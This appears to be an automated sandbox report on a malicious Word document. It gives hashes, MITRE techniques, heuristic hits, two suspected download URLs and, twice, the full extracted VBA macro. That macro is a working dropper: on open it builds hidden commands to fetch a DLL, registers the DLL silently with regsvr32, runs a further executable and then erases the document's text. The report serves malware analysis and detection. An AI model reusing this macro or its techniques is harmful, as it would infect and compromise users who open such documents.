Office (OLE) malware analysis — malicious · 5761c2cd3985d74b

MALICIOUS

Office (OLE)

143.5 KB Created: 2020-07-29 10:43:00 Authoring application: Microsoft Office Word First seen: 2020-09-07

MD5: 6d2637ae31efd51e886dc7acdba292b6 SHA-1: c99b1a8e3aae5213b30ada5d365381442b2c1c5c SHA-256: 5761c2cd3985d74bf82d9c16e54a7ed69ffb5896c1325d9932d24265a6ffe3d0

338 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains a VBA macro that leverages the AutoOpen function and GetObject to execute arbitrary code. Critical heuristics indicate exploitation of CVE-2007-3899, a memory corruption vulnerability in Microsoft Word, and the presence of LOLBins. The VBA script likely downloads and executes a second-stage payload from the URLs provided, as evidenced by the embedded URLs and the LOLBin reference to cmd.exe and powershell.

Heuristics 11

CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899

Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
VBA macros detected medium 5 related findings OLE_VBA_MACROS

Document contains VBA macro code

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

    jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll"

GetObject call high OLE_VBA_GETOBJ

GetObject call

Matched line in script

Set ObjWMIservice = GetObject("winmgmts:" & UserForm3.ListBox1.ControlTipText)
Set ColItems = ObjWMIservice.ExecQuery("SELECT * FROM Win32_OperatingSystem", , 48)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
If GetOSName = 10 Then
```
Environ() call (env variable access) low OLE_VBA_ENVIRON

Environ() call (env variable access)
Matched line in script
```
    jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll"
```
Reference to CreateProcess API high SC_STR_CREATEPROCESS

Reference to CreateProcess API
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://weatherishot.top/prvt/caller.php In document text (OLE body)
- https://blinkedeye.top/prvt/caller.phpIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6519 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	6519 bytes
SHA-256: `84121eab06a7f0247dcde6d0d61192b934f81ba298c22b7340de1bf1debcc526`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "UserForm3" Attribute VB_Base = "0{5C492D76-52ED-4BB7-8106-0AF6F1478EB5}{162A866D-DF31-4886-8AD4-117DE0332303}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "UserForm1" Attribute VB_Base = "0{B4BA5EC3-7465-4D17-AC52-56CCF605C746}{3C927FED-02BE-4AC4-8630-0B732227623A}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Private Sub CheckBox1_Click() End Sub Private Sub OptionButton1_Click() End Sub Attribute VB_Name = "UserForm2" Attribute VB_Base = "0{793EE2B1-7ED8-41EF-BD88-9DAB6FD4EB38}{FE4CFAA8-9B24-4398-9629-B0A67693862C}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Module1" Option Explicit Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Private Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessID As Long dwThreadID As Long End Type Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Private Declare PtrSafe Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long Private Declare PtrSafe Function CreateProcessA Lib "kernel32.dll" (ByVal lpApplicationName As Long, ByVal lpCommandLine As _ String, ByVal lpProcessAttributes As Long, ByVal _ lpThreadAttributes As Long, ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, _ ByVal lpCurrentDirectory As Long, lpStartupInfo As _ STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long Private Const NORMAL_PRIORITY_CLASS = &H20& Private Const XsMRbZdDRU = -1& Private Const EWEhaIjuJ = &H8000000 Public Function GetOSName() On Error GoTo Fejl Dim ObjWMIservice As Object, ColItems As Object, ObjItem As Object Set ObjWMIservice = GetObject("winmgmts:" & UserForm3.ListBox1.ControlTipText) Set ColItems = ObjWMIservice.ExecQuery("SELECT * FROM Win32_OperatingSystem", , 48) For Each ObjItem In ColItems GetOSName = ObjItem.Name Next GetOSName = Left(GetOSName, InStr(GetOSName, "\|") - 1) GetOSName = Trim(Mid(GetOSName, InStr(15, GetOSName, " "), 4)) Select Case GetOSName Case 10: GetOSName = 10 Case 8.1: GetOSName = 8 Case 7.1, 7: GetOSName = 7 Case Else: GetOSName = 5 End Select Set ObjItem = Nothing Set ColItems = Nothing Set ObjWMIservice = Nothing ExitHer: Exit Function Fejl: MsgBox Err.Description, , "" Resume ExitHer End Function Sub AutoOpen() If GetOSName = 10 Then Win10 Else Win7 End If End Sub Sub Win10() On Error Resume Next Dim jUyMBvHWi As PROCESS_INFORMATION Dim vdlDzSRsPnRPp As STARTUPINFO Dim MJmQsqgCBeHFN As Long Dim oKqSLSxGkjFBO As String oKqSLSxGkjFBO = UserForm1.CheckBox1.ControlTipText & UserForm1.OptionButton1.ControlTipText & "\DPGCCCdDNL.dll" MJmQsqgCBeHFN = CreateProcessA(0&, oKqSLSxGkjFBO, 0&, 0&, 1&, EWEhaIjuJ, 0&, 0&, vdlDzSRsPnRPp, jUyMBvHWi) WaitForSingleObject jUyMBvHWi.hProcess, XsMRbZdDRU CloseHandle MJmQsqgCBeHFN Dim minidipi As Long Dim baladala As PROCESS_INFORMATION, marabara As STARTUPINFO Dim jipiripi As String jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll" minidipi = CreateProcessA(0&, jipiripi, 0&, 0&, 1&, 0&, 0&, 0&, marabara, baladala) WaitForSingleObject baladala.hProcess, XsMRbZdDRU CloseHandle minidipi Dim goldend As Long Dim dindad As PROCESS_INFORMATION, kafaru As STARTUPINFO Dim mantrasu As String mantrasu = Environ("ALLUSERSPROFILE") & "\Local Tempary\d9d11x.ex" & "e COM2_" goldend = CreateProcessA(0&, mantrasu, 0&, 0&, 1&, 0&, 0&, 0&, kafaru, dindad) CloseHandle goldend PicAll End Sub Sub Win7() On Error Resume Next Dim jUyMBvHWi As PROCESS_INFORMATION Dim vdlDzSRsPnRPp As STARTUPINFO Dim MJmQsqgCBeHFN As Long Dim oKqSLSxGkjFBO As String oKqSLSxGkjFBO = UserForm3.TextBox1.ControlTipText & UserForm3.CheckBox1.ControlTipText & UserForm3.TextBox2.ControlTipText & "DPGCCCdDNL.dll')" MJmQsqgCBeHFN = CreateProcessA(0&, oKqSLSxGkjFBO, 0&, 0&, 1&, EWEhaIjuJ, 0&, 0&, vdlDzSRsPnRPp, jUyMBvHWi) WaitForSingleObject jUyMBvHWi.hProcess, XsMRbZdDRU CloseHandle MJmQsqgCBeHFN Dim minidipi As Long Dim baladala As PROCESS_INFORMATION, marabara As STARTUPINFO Dim jipiripi As String jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll" minidipi = CreateProcessA(0&, jipiripi, 0&, 0&, 1&, 0&, 0&, 0&, marabara, baladala) WaitForSingleObject baladala.hProcess, XsMRbZdDRU CloseHandle minidipi Dim goldend As Long Dim dindad As PROCESS_INFORMATION, kafaru As STARTUPINFO Dim mantrasu As String mantrasu = Environ("ALLUSERSPROFILE") & "\Local Tempary\d9d11x.ex" & "e COM2_" goldend = CreateProcessA(0&, mantrasu, 0&, 0&, 1&, 0&, 0&, 0&, kafaru, dindad) CloseHandle goldend PicAll End Sub Sub Asdjiasda() End Sub Sub iAJWDiqwodqo() End Sub Sub PicAll() Dim myImageA As Shape Set myImageA = ActiveDocument.Shapes("Picture 2") myImageA.Delete ThisDocument.Range.Text = "" End Sub

SHA-256: 84121eab06a7f0247dcde6d0d61192b934f81ba298c22b7340de1bf1debcc526

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{5C492D76-52ED-4BB7-8106-0AF6F1478EB5}{162A866D-DF31-4886-8AD4-117DE0332303}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{B4BA5EC3-7465-4D17-AC52-56CCF605C746}{3C927FED-02BE-4AC4-8630-0B732227623A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CheckBox1_Click()

End Sub

Private Sub OptionButton1_Click()

End Sub

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{793EE2B1-7ED8-41EF-BD88-9DAB6FD4EB38}{FE4CFAA8-9B24-4398-9629-B0A67693862C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Option Explicit



Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type

Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32.dll" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "kernel32.dll" (ByVal lpApplicationName As Long, ByVal lpCommandLine As _
String, ByVal lpProcessAttributes As Long, ByVal _
lpThreadAttributes As Long, ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, _
ByVal lpCurrentDirectory As Long, lpStartupInfo As _
STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long

Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const XsMRbZdDRU = -1&
Private Const EWEhaIjuJ = &H8000000

Public Function GetOSName()
On Error GoTo Fejl
Dim ObjWMIservice As Object, ColItems As Object, ObjItem As Object

Set ObjWMIservice = GetObject("winmgmts:" & UserForm3.ListBox1.ControlTipText)
Set ColItems = ObjWMIservice.ExecQuery("SELECT * FROM Win32_OperatingSystem", , 48)
For Each ObjItem In ColItems
GetOSName = ObjItem.Name
Next

GetOSName = Left(GetOSName, InStr(GetOSName, "|") - 1)
GetOSName = Trim(Mid(GetOSName, InStr(15, GetOSName, " "), 4))
Select Case GetOSName
Case 10: GetOSName = 10
Case 8.1: GetOSName = 8
Case 7.1, 7: GetOSName = 7
Case Else: GetOSName = 5
End Select
Set ObjItem = Nothing
Set ColItems = Nothing
Set ObjWMIservice = Nothing
ExitHer:
Exit Function
Fejl:
MsgBox Err.Description, , ""
Resume ExitHer
End Function

Sub AutoOpen()
If GetOSName = 10 Then
Win10
Else
Win7
End If

End Sub





Sub Win10()
On Error Resume Next
Dim jUyMBvHWi As PROCESS_INFORMATION
    Dim vdlDzSRsPnRPp As STARTUPINFO
    Dim MJmQsqgCBeHFN As Long
    Dim oKqSLSxGkjFBO As String

    oKqSLSxGkjFBO = UserForm1.CheckBox1.ControlTipText & UserForm1.OptionButton1.ControlTipText & "\DPGCCCdDNL.dll"
    MJmQsqgCBeHFN = CreateProcessA(0&, oKqSLSxGkjFBO, 0&, 0&, 1&, EWEhaIjuJ, 0&, 0&, vdlDzSRsPnRPp, jUyMBvHWi)

   
   WaitForSingleObject jUyMBvHWi.hProcess, XsMRbZdDRU
   
    CloseHandle MJmQsqgCBeHFN
      Dim minidipi As Long
    Dim baladala As PROCESS_INFORMATION, marabara As STARTUPINFO
    Dim jipiripi As String
    
    jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll"
    
    minidipi = CreateProcessA(0&, jipiripi, 0&, 0&, 1&, 0&, 0&, 0&, marabara, baladala)
    WaitForSingleObject baladala.hProcess, XsMRbZdDRU
    CloseHandle minidipi
    

    Dim goldend As Long
    Dim dindad As PROCESS_INFORMATION, kafaru As STARTUPINFO
    Dim mantrasu As String
    
    mantrasu = Environ("ALLUSERSPROFILE") & "\Local Tempary\d9d11x.ex" & "e COM2_"
    
    goldend = CreateProcessA(0&, mantrasu, 0&, 0&, 1&, 0&, 0&, 0&, kafaru, dindad)
    
    CloseHandle goldend
    PicAll
End Sub


Sub Win7()
On Error Resume Next
Dim jUyMBvHWi As PROCESS_INFORMATION
    Dim vdlDzSRsPnRPp As STARTUPINFO
    Dim MJmQsqgCBeHFN As Long
    Dim oKqSLSxGkjFBO As String

    oKqSLSxGkjFBO = UserForm3.TextBox1.ControlTipText & UserForm3.CheckBox1.ControlTipText & UserForm3.TextBox2.ControlTipText & "DPGCCCdDNL.dll')"
    MJmQsqgCBeHFN = CreateProcessA(0&, oKqSLSxGkjFBO, 0&, 0&, 1&, EWEhaIjuJ, 0&, 0&, vdlDzSRsPnRPp, jUyMBvHWi)

   
   WaitForSingleObject jUyMBvHWi.hProcess, XsMRbZdDRU
   
    CloseHandle MJmQsqgCBeHFN
      Dim minidipi As Long
    Dim baladala As PROCESS_INFORMATION, marabara As STARTUPINFO
    Dim jipiripi As String
    
    jipiripi = "regsvr32" & ".e" & "xe /s " & Environ("ALLUSERSPROFILE") & "\DPGCCCdDNL.dll"
    
    minidipi = CreateProcessA(0&, jipiripi, 0&, 0&, 1&, 0&, 0&, 0&, marabara, baladala)
    WaitForSingleObject baladala.hProcess, XsMRbZdDRU
    CloseHandle minidipi
    

    Dim goldend As Long
    Dim dindad As PROCESS_INFORMATION, kafaru As STARTUPINFO
    Dim mantrasu As String
    
    mantrasu = Environ("ALLUSERSPROFILE") & "\Local Tempary\d9d11x.ex" & "e COM2_"
    
    goldend = CreateProcessA(0&, mantrasu, 0&, 0&, 1&, 0&, 0&, 0&, kafaru, dindad)
    
    CloseHandle goldend
    PicAll
End Sub





Sub Asdjiasda()

    
End Sub

Sub iAJWDiqwodqo()

    
End Sub







Sub PicAll()


Dim myImageA As Shape

Set myImageA = ActiveDocument.Shapes("Picture 2")

myImageA.Delete

ThisDocument.Range.Text = ""

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.